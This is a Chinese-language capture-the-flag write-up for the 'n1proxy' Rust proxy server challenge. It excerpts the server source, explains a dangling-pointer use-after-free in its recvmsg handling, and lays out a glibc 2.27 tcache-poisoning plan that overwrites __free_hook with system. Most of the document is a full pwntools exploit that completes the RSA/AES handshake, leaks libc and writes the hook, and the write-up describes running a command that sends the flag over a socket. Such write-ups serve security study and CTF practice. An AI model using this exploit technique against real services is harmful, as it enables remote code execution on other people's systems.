let total_stream_count = lock.values().map(|fds| fds.len()).sum::<usize>();
if total_stream_count >= TOTAL_STREAM {
unsafe {
libc::close(conn_fd);
}
return Err(anyhow!("Too many streams"));
}
let client_streams = lock.entry(client_key).or_insert_with(HashSet::new);
if client_streams.len() >= MAX_STREAM {
unsafe {
libc::close(conn_fd);
}
return Err(anyhow!("Too many streams"));
}
client_streams.insert(conn_fd);
println!("New listen fd {}", conn_fd);
conn_fd.to_le_bytes().to_vec()
} //返回连接服务端和客户套接字最后
ProxyStatus::Unknown => {
return Err(anyhow!("Invalid conn type"));
}
};
let signing_key = pkcs1v15::SigningKey::<Sha256>::new(pri_key);
let key_exchange_sign = signing_key.sign(&res_msg).to_bytes();
let res_msg = vec![res_msg, key_exchange_sign.to_vec()].concat();
let res_msg = session_enc(session_key, &res_msg)?;
my_write(stream_fd, res_msg.as_ptr() as *const c_void, res_msg.len())?;
Ok(())
}
fn main() -> Result<()> {
// make this easier :)
unsafe {
mallopt(libc::M_ARENA_MAX, 1);
}
let port = env::args().nth(1).unwrap_or("8080".to_string());
let server_fd = unsafe { libc::socket(AF_INET, SOCK_STREAM, 0) };
println!("n1proxy server listening on port {}", port);
let mut server: sockaddr_in = unsafe { mem::zeroed() };
server.sin_family = libc::AF_INET as u16;
server.sin_addr.s_addr = libc::INADDR_ANY;
server.sin_port = port.parse::<u16>()?.to_be();
let socket_opt_res = unsafe { //设置套接字的相关选项
libc::setsockopt(
server_fd,
libc::SOL_SOCKET,
libc::SO_REUSEADDR,
&1 as *const _ as *const _,
mem::size_of_val(&1) as u32,
)
};
if socket_opt_res < 0 {
panic!(
"Failed to set socket options {:?}",
std::io::Error::last_os_error()
);
}
let bind_result = unsafe { //将套接字和套接字地址结构绑定
libc::bind(
server_fd,
&server as *const _ as *const _,
mem::size_of_val(&server) as u32,
)
};
if bind_result < 0 {
panic!(
"Failed to bind socket {:?}",
std::io::Error::last_os_error()
);
}
let listen_result = unsafe { libc::listen(server_fd, 5) }; //套接字开始监听
if listen_result < 0 {
panic!(
"Failed to listen on socket {:?}",
std::io::Error::last_os_error()
);
}
loop {
let client_fd =
unsafe { libc::accept(server_fd, std::ptr::null_mut(), std::ptr::null_mut()) }; //返回连接上的客户端套接字
if client_fd < 0 {
break;
}
thread::spawn(move || {
println!("New client connected");
handle_client(client_fd).unwrap_or_else(|err| {
eprintln!("Error: {}", err);
let err_msg = format!("error : {}", err);
my_write(client_fd, err_msg.as_ptr() as *const c_void, err_msg.len()).ok();
}
);
unsafe { libc::close(client_fd) };
println!("Client disconnected")
});
}
Ok(())
}
公匙交换和签名
- 发送方发送公钥和对公匙的签名(通过私匙和某种算法得到签名钥匙来对消息签名)
- 接受方利用接受的公匙对接受的公匙(包括在数据部分)和签名认证(通过发送方的公匙)
会话钥匙
- 发送方通过接受方的公钥对会话钥匙(随机生成)进行相关算法加密,然后将加密后的数据签名并一起发送过去
- 接受方通过发送方的公匙来对数据和签名来认证,然后将数据部分通过私匙进行解密,最后得到会话钥匙
后续通信
- 发送方将数据部分和数据部分的签名(私匙)通过会话钥匙加密,然后发送
- 接受方先通过会话钥匙解密,然后通过对方的公匙验证签名和数据,
生命周期和裸指针
在代码片段
let mut recv_iov = [iovec {
iov_base: vec![0u8; recv_size].as_mut_ptr() as *mut _,
iov_len: recv_size,
}];
中,存在以下生命周期问题:
-
Vec
和裸指针的关系:
当你创建一个Vec<u8>
,并在其后立即通过as_mut_ptr()
获取一个裸指针时,这个裸指针指向了Vec
内部的内存。然而,Vec
和裸指针的生命周期并没有显式关联。Vec
的生命周期是在其创建的作用域内,而裸指针的生命周期则是不确定的,因为它脱离了Rust的生命周期管理系统。 -
Vec
的自动释放:
由于Vec
是在局部作用域中创建的,当这个作用域结束时,Vec
将被自动释放,其内存将被回收。如果此时裸指针仍然在使用中,它就成为了悬挂指针,指向的是一块已经无效的内存。
在Rust中,表达式vec![0u8; recv_size]
创建了一个Vec<u8>
,其生命周期是与它被创建的作用域绑定的。
iovec {
iov_base: vec![0u8; recv_size].as_mut_ptr() as *mut _,
iov_len: recv_size,
}
这里的vec![0u8; recv_size]
是在iovec
结构体初始化的上下文中创建的。这意味着这个Vec<u8>
的生命周期是与iovec
初始化的那行代码所在的块(即花括号包围的代码区域)绑定的。一旦这个代码块执行完毕,Vec<u8>
也将达到其生命周期的终点,其内存将被释放。
然而,这行代码中的vec![0u8; recv_size]
创建的Vec<u8>
的生命周期与iovec
的生命周期可能存在冲突,因为iovec
的iov_base
字段被设置为指向这个Vec
的裸指针。当Vec<u8>
的生命周期结束时,其内存被释放,但iovec
可能仍然持有指向已释放内存的裸指针,这将导致悬挂指针。
写了个代码测试下
core::slice::raw::from_raw_parts core::slice::raw::from_raw_parts并没有申请堆块
res.to_vec()会再分配一次相同大小的堆块,并将 res 切片中的数据复制到这个新的内存块中。
后面的vec![recv_data.len().to_le_bytes().to_vec(), recv_data.to_vec()].concat()
的 recv_data.to_vec()
又申请了相同大小的chunk,并将之前数据拷贝,所以free后连续分配了两次
代码审计
漏洞点 libc-2.27.so
#[inline(always)]
fn my_recv_msg(fd: i32, recv_size: usize) -> Result<Vec<u8>> {
let mut recv_iov = [iovec {
iov_base: vec![0u8; recv_size].as_mut_ptr() as *mut _,
iov_len: recv_size,
}];
let mut msg = msghdr {
msg_name: std::ptr::null_mut(),
msg_namelen: 0,
msg_iov: recv_iov.as_mut_ptr(),
msg_iovlen: 1,
msg_control: std::ptr::null_mut(),
msg_controllen: 0,
msg_flags: 0,
};
let recv_sz = unsafe { recvmsg(fd, &mut msg, 0) };
if recv_sz < 0 {
return os_error!();
}
let res = unsafe { slice::from_raw_parts(recv_iov[0].iov_base as *const u8, recv_size) };
Ok(res.to_vec())
let recv_data = match conn_type { //得到返回数据
ProxyType::Tcp => {
let mut recv_data = vec![0; recv_data_size as usize];
let recv_sz = my_read(
target_fd,
recv_data.as_mut_ptr() as *mut c_void,
recv_data.len() as size_t,
)?;
recv_data.resize(recv_sz as usize, 0);
recv_data
}
ProxyType::Udp => my_recvfrom(target_fd, recv_data_size as usize)?,
ProxyType::Sock => my_recv_msg(target_fd, recv_data_size as usize)?,
ProxyType::Unknown => return Err(anyhow!("Invalid conn type")),
};
vec![recv_data.len().to_le_bytes().to_vec(), recv_data.to_vec()].concat()
最后的处理
let res_msg = vec![res_msg, key_exchange_sign.to_vec()].concat();
let res_msg = session_enc(session_key, &res_msg)?;
my_write(stream_fd, res_msg.as_ptr() as *const c_void, res_msg.len())?;
}
my_recv_msg 函数等价为:
- 使用一个 recv_size 大小的内存初始化 iov_base;
- 释放这块内存得到悬空指针;
- 在 unsafe { recvmsg(fd, &mut msg, 0) } 处从读取事先发送到指定 fd 上的数据并写入这块内存(UAF);
- 最后通过 unsafe { slice::from_raw_parts(recv_iov[0].iov_base as *const u8, recv_size) } 得到切片,然后res.to_vec()会再分配一次相同大小的堆块,并将 res 切片中的数据复制到这个新的内存块中
大致思路(exp还有变化)
增加了tcache,tcache无next检查
- sendmsg发送零个字节,recvmsg设置较大的msg_recvsize使得内部的msg的iov_base被free后进入到unsortedbin中,然后recvmsg将接受到的(为零,所以没有写入)写入msg的iov_base,使得残留的libc地址不被修改
- res.to_vec()此时会重新分配,大小和之前刚被free的bin一样,然后泄露libc地址,并把之前的内容复制上去
- 由于是free后连续分配并拷贝原数据两次,第一次分配是原chunk,第二次就是改写后的fd对应的chunk。由于会拷贝原数据,(如果fd是free_hook-0x8 system,那么会分配到free_hook-0x8就会写入free_hook-0x8 system)所以改fd为free_hook-0x8 system。
- 由于后面还会又很多次的free操作会调用system函数,但由于参数不对会导致system执行失败,该线程就会卡住,但不影响
- 到下一次UAF时,这时发送相关指令,此时写到free的chunk的是指令,然后分配时候会得到原chunk,res.to_vec()会新建一个chunk,并复制原chunk的内容即指令,当其生命周期结束时,即调用system(指令)
调试
放到IDA,通过汇编下断点,但后面的汇编就是在看不懂了,只能通过read和write下断点
https://blog.csdn.net/counsellor/article/details/125882904
关于签名几个字节,签名.len()几个字节等,可以编写rust程序然后使用一样的函数来看看或者相关交换流程通过问gpt来处理
利用pause找对应的函数的断点,最终的 let mut recv_iov = [iovec { iov_base: vec![0u8; recv_size].as_mut_ptr() as *mut _, //生命周期问题导致存在悬挂指针 iov_len: recv_size, }];
分配的操作应该在
exp
这里需要新建一个线程运行listen,因为发送过去最终还要等connec函数连接成功才能得到listen返回的客户端的fd,而connec返回服务器的fd
为了防止connec时还没有开启accept,所以采取pause()
泄露libc
不能发送零个字节,recvmsg这样会阻塞,所以尝试发送一个字节0,出现
发生在 vec![recv_data.len().to_le_bytes().to_vec(), recv_data.to_vec()].concat()
是因为改变了fd的值,导致fd不是unsorted_chunk的值
要绕过的话,一是要满足分配后,再free掉,赋值后fd或者bk部分有libc残留,同时fd要指向unsorted_chunk地址。
当我下malloc断点时发现第一次分配使用的_rust_alloc_zeroed
没有断下来,可能是其他函数。,IDA看了后发现用的是calloc
,它和malloc区别在于刚开始不会从tcache中去chunk,而是直接开始比对是否属于fastbin(类似低版本的malloc,但会有当fastbin有多余的chunk会把它链入到tcache中去)
然后常规free
第二次分配使用的是__rust_alloc
,对应malloc
如果第一次分配绕过tcache找到,然后free时由于tcache满了进入unsorted,再分配时候又是从tcache中找到,并且之后的chunk都可以从tcache中找到,free也可以直接到tcache或者到unsortedbin,就可以解决这个问题。总之,free赋值后就是后续的malloc只能从tcache来,这里从满的tcache的bin对应的chunksize大小一个个试
写free_hook
这里依然要保证malloc和calloc不能从unsortedbin中寻找(但好像通过某种风水下次也可以了),并且由于这里要写tcache chunk的fd,并且将原内容复制到fd对应的chunk上去,进而写free_hook为system。所以需要是tcache上的chunk,首先第一次是calloc,这个时候需要fastbin或者smallbin里有,free后进入tcache,赋值写fd,然后再分配从tcache出来,再分配就得到的free_hook-8的chunk,然后复制,进而写free_hook为system
if (tc_idx < mp_.tcache_bins
/*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
&& tcache
&& tcache->entries[tc_idx] != NULL)
{
return tcache_get (tc_idx);
}
DIAG_POP_NEEDS_COMMENT;
#endif
这里由于根据entries来分配tcache,找个之后都不会malloc用到的size即可,否则要用到之后fd对应的chunk残留的fd可能分配出问题。所以从没有对应的size的tcachebin中一个个试,另外这里发现会将recvmsg会将bk对应部分值清零,复制到又分配的chunk自然无法写free_hook了,所以改为free_hook-0x10+p64(0)+system
#include <sys/types.h>
#include <sys/wait.h>
#include <errno.h>
#include <unistd.h>
int system(const char * cmdstring)
{
pid_t pid;
int status;
if(cmdstring == NULL){
return (1);
}
if((pid = fork())<0){
status = -1;
}
else if(pid = 0){
execl("/bin/sh", "sh", "-c", cmdstring, (char *)0);
-exit(127); //子进程正常执行则不会执行此语句
}
else{
while(waitpid(pid, &status, 0) < 0){
if(errno != EINTER){
status = -1;
break;
}
}
}
return status;
}
system函数执行错误会让产生的子进程退出,gdb调一直卡在子进程,退出不了 发现卡是因为原来断点插入不了, 所以会卡住,离谱。但后面会由于很多free,然后如果有断点就会卡住,所以这里设置在hand_client不跟进子进程,但要进入hand_client又得需要进入子进程,比较麻烦
执行命令
覆盖后,下次发送相关命令,接收后赋值,当生命周期结束会调用free,进而system(命令),这里需要cat flag然后重定向到服务端套接字(应该是send
过去后,有对存储命令的堆的free操作),通过recv_msg将send的内容flag内容一起接收
exp
from pwn import *
import rsa
from typing import List
#from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
#from cryptography.hazmat.backends import default_backend
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from typing import Dict, List
import threading
from Crypto.Util.Padding import unpad
context(os="linux",arch="amd64",log_level="debug")
context.terminal = ["tmux", "splitw", "-h"]
class SessionKey:
def __init__(self, key, iv):
self.key = key
self.iv = iv
def __str__(self):
return f"SessionKey(key={self.key}, iv={self.iv})"
def __repr__(self):
return str(self)
def session_enc(keys:SessionKey, msg: bytes) -> bytes:
try:
key = keys.key
iv = keys.iv
if len(key) != 32:
raise ValueError(f"Invalid key length {len(key)}")
if len(iv) != 16:
raise ValueError(f"Invalid iv length {len(iv)}")
# Create AES cipher in CBC mode
cipher = AES.new(key, AES.MODE_CBC, iv)
# Pad the message
padded_msg = pad(msg, AES.block_size)
# Encrypt the padded message
encrypted = cipher.encrypt(padded_msg)
return encrypted
except Exception as e:
raise Exception(f"Failed to encrypt message: {str(e)}")
def session_dec(keys: SessionKey, msg: bytes) -> bytes:
key = keys.key
iv = keys.iv
if len(key) != 32:
raise ValueError(f"Invalid key length {len(key)}")
if len(iv) != 16:
raise ValueError(f"Invalid iv length {len(iv)}")
# Create AES cipher object for decryption
cipher = AES.new(keys.key, AES.MODE_CBC, keys.iv)
try:
# Decrypt the message and remove padding
decrypted = cipher.decrypt(msg)
unpadded = unpad(decrypted, AES.block_size)
except ValueError as err:
raise ValueError(f"Failed to decrypt message: {err}") from err
return unpadded
def listen():
global client_fd,server_fd
r=remote("127.0.0.1",8080)
# shandhake
r.sendafter(b"n1proxy server v0.1",b"n1proxy client v0.1")
# conntype
r.send(b"\x00")
# recv server key_exchange_sign.len()8| key_exchange_sign 512|pub_key_n.len() 8|pub_key_e.len() 8|pub_key_n 8|pub_key_e 8,
key_exchange_sign_len=r.recv(8)
key_exchange_sign=r.recv(512)
pub_key_n_len=r.recv(8)
pub_key_e_len=r.recv(8)
pub_key_n=r.recv(512)
pub_key_e=r.recv(4)
server_pub_key = rsa.PublicKey(int.from_bytes(pub_key_n, byteorder='big'),
int.from_bytes(pub_key_e, byteorder='big'))
if rsa.verify(pub_key_n_len+pub_key_e_len+pub_key_n+pub_key_e, key_exchange_sign, server_pub_key):
print("server public key get Signature verified")
# send client key_exchange_sign.len()8| key_exchange_sign 512|pub_key_n.len() 8|pub_key_n 8|pub_key_e.len() 8|pub_key_e 8
global pub_key, pri_key
pub_key_n = pub_key.n.to_bytes(512, byteorder='big')
pub_key_e = pub_key.e.to_bytes(8, byteorder='big')
key_exchange = b''.join([
len(pub_key_n).to_bytes(8, byteorder='little'),
pub_key_n,
len(pub_key_e).to_bytes(8, byteorder='little'),
pub_key_e
])
key_exchange_sign = rsa.sign(key_exchange, pri_key, 'SHA-256')
key_exchange_sign_len = len(key_exchange_sign)
key_exchange_sign_msg = b''.join([
key_exchange_sign_len.to_bytes(8, byteorder='little'),
key_exchange_sign
])
r.send(key_exchange_sign_msg)
r.send(key_exchange)
# get session key new_session_sign.len 8| new_session_sign 512 | enc_key.len() 8| enc_key 512 |enc_time.len() 8| enc_time 512
new_session_sign_len=r.recv(8)
new_session_sign=r.recv(512)
enc_key_len=r.recv(8)
enc_key=r.recv(512)
enc_time_len=r.recv(8)
enc_time=r.recv(512)
if rsa.verify(enc_key_len+enc_key+enc_time_len+enc_time, new_session_sign, server_pub_key):
print("server session key Signature verified")
session_key_array = rsa.decrypt(enc_key, pri_key)
session_key=SessionKey(
session_key_array[:32],
session_key_array[32:48]
)
timestamp = int.from_bytes(rsa.decrypt(enc_time, pri_key), byteorder='little')
print("server session key",session_key)
# ProxyType ProxyStatus session_enc(conn_type 4 | status 4 | signature(conn_type 4 | status 4))
ProxyStatus=4
ProxyType=2
prec_con=p32(ProxyType)+p32(ProxyStatus)
prec_con_sign = rsa.sign(prec_con, pri_key, 'SHA-256')
pre_conn_session_enc=session_enc(session_key,prec_con+prec_con_sign)
r.send(pre_conn_session_enc)
# ok_msg session_enc( ok_msg| ok_msg_sign.len | ok_msg_sign )
ok_msg_enc=r.recv(528)
ok_msg_total=session_dec(session_key,ok_msg_enc)
if rsa.verify(ok_msg_total[:4], ok_msg_total[12:], server_pub_key):
print("server ok_msg key Signature verified")
# about ProxyStatus operation
target_host=b"127.0.0.1"
target_host_len=p32(9)
target_port=p16(12345)
conn_data_sign=rsa.sign(target_host_len+target_host+target_port, pri_key, 'SHA-256')
conn_data_session_enc=session_enc(session_key,target_host_len+target_host+target_port+conn_data_sign)
r.send(conn_data_session_enc)
# session_enc(socke_fd | signature)
fd_session_enc=r.recv(528)
fd_total=session_dec(session_key,fd_session_enc)
if rsa.verify(fd_total[:4], fd_total[4:], server_pub_key):
print("server client fd key Signature verified")
#p.interactive() # else process("./pwn") end
client_fd=fd_total[:4]
print("client fd ",client_fd)
def connec():
global client_fd,server_fd
r=remote("127.0.0.1",8080)
# shandhake
r.sendafter(b"n1proxy server v0.1",b"n1proxy client v0.1")
# conntype
r.send(b"\x00")
# recv server key_exchange_sign.len()8| key_exchange_sign 512|pub_key_n.len() 8|pub_key_e.len() 8|pub_key_n 8|pub_key_e 8,
key_exchange_sign_len=r.recv(8)
key_exchange_sign=r.recv(512)
pub_key_n_len=r.recv(8)
pub_key_e_len=r.recv(8)
pub_key_n=r.recv(512)
pub_key_e=r.recv(4)
server_pub_key = rsa.PublicKey(int.from_bytes(pub_key_n, byteorder='big'),
int.from_bytes(pub_key_e, byteorder='big'))
if rsa.verify(pub_key_n_len+pub_key_e_len+pub_key_n+pub_key_e, key_exchange_sign, server_pub_key):
print("server public key get Signature verified")
# send client key_exchange_sign.len()8| key_exchange_sign 512|pub_key_n.len() 8|pub_key_n 8|pub_key_e.len() 8|pub_key_e 8
global pub_key, pri_key
pub_key_n = pub_key.n.to_bytes(512, byteorder='big')
pub_key_e = pub_key.e.to_bytes(8, byteorder='big')
key_exchange = b''.join([
len(pub_key_n).to_bytes(8, byteorder='little'),
pub_key_n,
len(pub_key_e).to_bytes(8, byteorder='little'),
pub_key_e
])
key_exchange_sign = rsa.sign(key_exchange, pri_key, 'SHA-256')
key_exchange_sign_len = len(key_exchange_sign)
key_exchange_sign_msg = b''.join([
key_exchange_sign_len.to_bytes(8, byteorder='little'),
key_exchange_sign
])
r.send(key_exchange_sign_msg)
r.send(key_exchange)
# get session key new_session_sign.len 8| new_session_sign 512 | enc_key.len() 8| enc_key 512 |enc_time.len() 8| enc_time 512
new_session_sign_len=r.recv(8)
new_session_sign=r.recv(512)
enc_key_len=r.recv(8)
enc_key=r.recv(512)
enc_time_len=r.recv(8)
enc_time=r.recv(512)
if rsa.verify(enc_key_len+enc_key+enc_time_len+enc_time, new_session_sign, server_pub_key):
print("server session key Signature verified")
session_key_array = rsa.decrypt(enc_key, pri_key)
session_key=SessionKey(
session_key_array[:32],
session_key_array[32:48]
)
timestamp = int.from_bytes(rsa.decrypt(enc_time, pri_key), byteorder='little')
print("server session key",session_key)
# ProxyType ProxyStatus session_enc(conn_type 4 | status 4 | signature(conn_type 4 | status 4))
ProxyStatus=2
ProxyType=2
prec_con=p32(ProxyType)+p32(ProxyStatus)
prec_con_sign = rsa.sign(prec_con, pri_key, 'SHA-256')
pre_conn_session_enc=session_enc(session_key,prec_con+prec_con_sign)
r.send(pre_conn_session_enc)
# ok_msg session_enc( ok_msg| ok_msg_sign.len | ok_msg_sign )
ok_msg_enc=r.recv(528)
ok_msg_total=session_dec(session_key,ok_msg_enc)
if rsa.verify(ok_msg_total[:4], ok_msg_total[12:], server_pub_key):
print("server ok_msg key Signature verified")
# about ProxyStatus operation
#
target_host=b"127.0.0.1"
target_host_len=p32(9)
target_port=p16(12345)
conn_data_sign=rsa.sign(target_host_len+target_host+target_port, pri_key, 'SHA-256')
conn_data_session_enc=session_enc(session_key,target_host_len+target_host+target_port+conn_data_sign)
r.send(conn_data_session_enc)
# session_enc(socke_fd | signature)
fd_session_enc=r.recv(528)
fd_total=session_dec(session_key,fd_session_enc)
if rsa.verify(fd_total[:4], fd_total[4:], server_pub_key):
print("server client fd key Signature verified")
#p.interactive() # else process("./pwn") end
server_fd=fd_total[:4]
print("server fd ",server_fd)
#p.interactive() # else process("./pwn") end
def send(fd,size ,data):
r=remote("127.0.0.1",8080)
# shandhake
r.sendafter(b"n1proxy server v0.1",b"n1proxy client v0.1")
# conntype
r.send(b"\x00")
# recv server key_exchange_sign.len()8| key_exchange_sign 512|pub_key_n.len() 8|pub_key_e.len() 8|pub_key_n 8|pub_key_e 8,
key_exchange_sign_len=r.recv(8)
key_exchange_sign=r.recv(512)
pub_key_n_len=r.recv(8)
pub_key_e_len=r.recv(8)
pub_key_n=r.recv(512)
pub_key_e=r.recv(4)
server_pub_key = rsa.PublicKey(int.from_bytes(pub_key_n, byteorder='big'),
int.from_bytes(pub_key_e, byteorder='big'))
if rsa.verify(pub_key_n_len+pub_key_e_len+pub_key_n+pub_key_e, key_exchange_sign, server_pub_key):
print("server public key get Signature verified")
# send client key_exchange_sign.len()8| key_exchange_sign 512|pub_key_n.len() 8|pub_key_n 8|pub_key_e.len() 8|pub_key_e 8
global pub_key, pri_key
pub_key_n = pub_key.n.to_bytes(512, byteorder='big')
pub_key_e = pub_key.e.to_bytes(8, byteorder='big')
key_exchange = b''.join([
len(pub_key_n).to_bytes(8, byteorder='little'),
pub_key_n,
len(pub_key_e).to_bytes(8, byteorder='little'),
pub_key_e
])
key_exchange_sign = rsa.sign(key_exchange, pri_key, 'SHA-256')
key_exchange_sign_len = len(key_exchange_sign)
key_exchange_sign_msg = b''.join([
key_exchange_sign_len.to_bytes(8, byteorder='little'),
key_exchange_sign
])
r.send(key_exchange_sign_msg)
r.send(key_exchange)
# get session key new_session_sign.len 8| new_session_sign 512 | enc_key.len() 8| enc_key 512 |enc_time.len() 8| enc_time 512
new_session_sign_len=r.recv(8)
new_session_sign=r.recv(512)
enc_key_len=r.recv(8)
enc_key=r.recv(512)
enc_time_len=r.recv(8)
enc_time=r.recv(512)
if rsa.verify(enc_key_len+enc_key+enc_time_len+enc_time, new_session_sign, server_pub_key):
print("server session key Signature verified")
session_key_array = rsa.decrypt(enc_key, pri_key)
session_key=SessionKey(
session_key_array[:32],
session_key_array[32:48]
)
timestamp = int.from_bytes(rsa.decrypt(enc_time, pri_key), byteorder='little')
print("server session key",session_key)
# ProxyType ProxyStatus session_enc(conn_type 4 | status 4 | signature(conn_type 4 | status 4))
ProxyStatus=0
ProxyType=2
prec_con=p32(ProxyType)+p32(ProxyStatus)
prec_con_sign = rsa.sign(prec_con, pri_key, 'SHA-256')
pre_conn_session_enc=session_enc(session_key,prec_con+prec_con_sign)
r.send(pre_conn_session_enc)
# ok_msg session_enc( ok_msg| ok_msg_sign.len | ok_msg_sign )
ok_msg_enc=r.recv(528)
ok_msg_total=session_dec(session_key,ok_msg_enc)
if rsa.verify(ok_msg_total[:4], ok_msg_total[12:], server_pub_key):
print("server ok_msg key Signature verified")
# about ProxyStatus operation
#
conn_data=p32(fd)+p64(size)+data
conn_data_sign=rsa.sign(conn_data, pri_key, 'SHA-256')
conn_data_session_enc=session_enc(session_key,conn_data+conn_data_sign)
r.send(conn_data_session_enc)
r.close()
#p.interactive() # else process("./pwn") end
def recv(fd,size):
r=remote("127.0.0.1",8080)
# shandhake
r.sendafter(b"n1proxy server v0.1",b"n1proxy client v0.1")
# conntype
r.send(b"\x00")
# recv server key_exchange_sign.len()8| key_exchange_sign 512|pub_key_n.len() 8|pub_key_e.len() 8|pub_key_n 8|pub_key_e 8,
key_exchange_sign_len=r.recv(8)
key_exchange_sign=r.recv(512)
pub_key_n_len=r.recv(8)
pub_key_e_len=r.recv(8)
pub_key_n=r.recv(512)
pub_key_e=r.recv(4)
server_pub_key = rsa.PublicKey(int.from_bytes(pub_key_n, byteorder='big'),
int.from_bytes(pub_key_e, byteorder='big'))
if rsa.verify(pub_key_n_len+pub_key_e_len+pub_key_n+pub_key_e, key_exchange_sign, server_pub_key):
print("server public key get Signature verified")
# send client key_exchange_sign.len()8| key_exchange_sign 512|pub_key_n.len() 8|pub_key_n 8|pub_key_e.len() 8|pub_key_e 8
global pub_key, pri_key
pub_key_n = pub_key.n.to_bytes(512, byteorder='big')
pub_key_e = pub_key.e.to_bytes(8, byteorder='big')
key_exchange = b''.join([
len(pub_key_n).to_bytes(8, byteorder='little'),
pub_key_n,
len(pub_key_e).to_bytes(8, byteorder='little'),
pub_key_e
])
key_exchange_sign = rsa.sign(key_exchange, pri_key, 'SHA-256')
key_exchange_sign_len = len(key_exchange_sign)
key_exchange_sign_msg = b''.join([
key_exchange_sign_len.to_bytes(8, byteorder='little'),
key_exchange_sign
])
r.send(key_exchange_sign_msg)
r.send(key_exchange)
# get session key new_session_sign.len 8| new_session_sign 512 | enc_key.len() 8| enc_key 512 |enc_time.len() 8| enc_time 512
new_session_sign_len=r.recv(8)
new_session_sign=r.recv(512)
enc_key_len=r.recv(8)
enc_key=r.recv(512)
enc_time_len=r.recv(8)
enc_time=r.recv(512)
if rsa.verify(enc_key_len+enc_key+enc_time_len+enc_time, new_session_sign, server_pub_key):
print("server session key Signature verified")
session_key_array = rsa.decrypt(enc_key, pri_key)
session_key=SessionKey(
session_key_array[:32],
session_key_array[32:48]
)
timestamp = int.from_bytes(rsa.decrypt(enc_time, pri_key), byteorder='little')
print("server session key",session_key)
# ProxyType ProxyStatus session_enc(conn_type 4 | status 4 | signature(conn_type 4 | status 4))
ProxyStatus=1
ProxyType=2
prec_con=p32(ProxyType)+p32(ProxyStatus)
prec_con_sign = rsa.sign(prec_con, pri_key, 'SHA-256')
pre_conn_session_enc=session_enc(session_key,prec_con+prec_con_sign)
r.send(pre_conn_session_enc)
# ok_msg session_enc( ok_msg| ok_msg_sign.len | ok_msg_sign )
ok_msg_enc=r.recv(528)
ok_msg_total=session_dec(session_key,ok_msg_enc)
if rsa.verify(ok_msg_total[:4], ok_msg_total[12:], server_pub_key):
print("server ok_msg key Signature verified")
# about ProxyStatus operation
conn_data=p32(fd)+p64(size)
conn_data_sign=rsa.sign(conn_data, pri_key, 'SHA-256')
conn_data_session_enc=session_enc(session_key,conn_data+conn_data_sign)
r.send(conn_data_session_enc)
# session_enc( recv_data.len() | recv_data | sign(recv_data.len() | recv_data) )
recv_enc_data = r.recv()
recv_data = session_dec(session_key,recv_enc_data)
data_len = u64(recv_data[:8])
data = recv_data[8:8+data_len]
sig = recv_data[8+data_len:]
if rsa.verify(recv_data[:8+data_len],sig,server_pub_key):
print("recvdata key Signature verified")
return data
#p.interactive() # else process("./pwn") end
def recv_no(fd,size):
r=remote("127.0.0.1",8080)
# shandhake
r.sendafter(b"n1proxy server v0.1",b"n1proxy client v0.1")
# conntype
r.send(b"\x00")
# recv server key_exchange_sign.len()8| key_exchange_sign 512|pub_key_n.len() 8|pub_key_e.len() 8|pub_key_n 8|pub_key_e 8,
key_exchange_sign_len=r.recv(8)
key_exchange_sign=r.recv(512)
pub_key_n_len=r.recv(8)
pub_key_e_len=r.recv(8)
pub_key_n=r.recv(512)
pub_key_e=r.recv(4)
server_pub_key = rsa.PublicKey(int.from_bytes(pub_key_n, byteorder='big'),
int.from_bytes(pub_key_e, byteorder='big'))
if rsa.verify(pub_key_n_len+pub_key_e_len+pub_key_n+pub_key_e, key_exchange_sign, server_pub_key):
print("server public key get Signature verified")
# send client key_exchange_sign.len()8| key_exchange_sign 512|pub_key_n.len() 8|pub_key_n 8|pub_key_e.len() 8|pub_key_e 8
global pub_key, pri_key
pub_key_n = pub_key.n.to_bytes(512, byteorder='big')
pub_key_e = pub_key.e.to_bytes(8, byteorder='big')
key_exchange = b''.join([
len(pub_key_n).to_bytes(8, byteorder='little'),
pub_key_n,
len(pub_key_e).to_bytes(8, byteorder='little'),
pub_key_e
])
key_exchange_sign = rsa.sign(key_exchange, pri_key, 'SHA-256')
key_exchange_sign_len = len(key_exchange_sign)
key_exchange_sign_msg = b''.join([
key_exchange_sign_len.to_bytes(8, byteorder='little'),
key_exchange_sign
])
r.send(key_exchange_sign_msg)
r.send(key_exchange)
# get session key new_session_sign.len 8| new_session_sign 512 | enc_key.len() 8| enc_key 512 |enc_time.len() 8| enc_time 512
new_session_sign_len=r.recv(8)
new_session_sign=r.recv(512)
enc_key_len=r.recv(8)
enc_key=r.recv(512)
enc_time_len=r.recv(8)
enc_time=r.recv(512)
if rsa.verify(enc_key_len+enc_key+enc_time_len+enc_time, new_session_sign, server_pub_key):
print("server session key Signature verified")
session_key_array = rsa.decrypt(enc_key, pri_key)
session_key=SessionKey(
session_key_array[:32],
session_key_array[32:48]
)
timestamp = int.from_bytes(rsa.decrypt(enc_time, pri_key), byteorder='little')
print("server session key",session_key)
# ProxyType ProxyStatus session_enc(conn_type 4 | status 4 | signature(conn_type 4 | status 4))
ProxyStatus=1
ProxyType=2
prec_con=p32(ProxyType)+p32(ProxyStatus)
prec_con_sign = rsa.sign(prec_con, pri_key, 'SHA-256')
pre_conn_session_enc=session_enc(session_key,prec_con+prec_con_sign)
r.send(pre_conn_session_enc)
# ok_msg session_enc( ok_msg| ok_msg_sign.len | ok_msg_sign )
ok_msg_enc=r.recv(528)
ok_msg_total=session_dec(session_key,ok_msg_enc)
if rsa.verify(ok_msg_total[:4], ok_msg_total[12:], server_pub_key):
print("server ok_msg key Signature verified")
# about ProxyStatus operation
conn_data=p32(fd)+p64(size)
conn_data_sign=rsa.sign(conn_data, pri_key, 'SHA-256')
conn_data_session_enc=session_enc(session_key,conn_data+conn_data_sign)
r.send(conn_data_session_enc)
# session_enc( recv_data.len() | recv_data | sign(recv_data.len() | recv_data) )
recv_enc_data = r.recv(timeout=10)
#p.interactive() # else process("./pwn") end
global client_fd,server_fd
global pub_key, pri_key
(pub_key, pri_key) = rsa.newkeys(4096)
#p=process("./n1proxy_server")
# gdb.attach(p)
# pause()
thread = threading.Thread(target=listen)
thread.start()
connec()
# leak libc
send(u32(server_fd),1 ,b"1")
recv_data=recv(u32(client_fd),0x200)
print("recv_data",recv_data)
libcbase=u64(recv_data[:8])-0x3ebc31
print("libc",hex(libcbase))
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# # overlap _free_hook
send(u32(server_fd),24,p64(libcbase+libc.sym["__free_hook"]-0x10)+p64(0)+p64(libcbase+libc.sym["system"]))
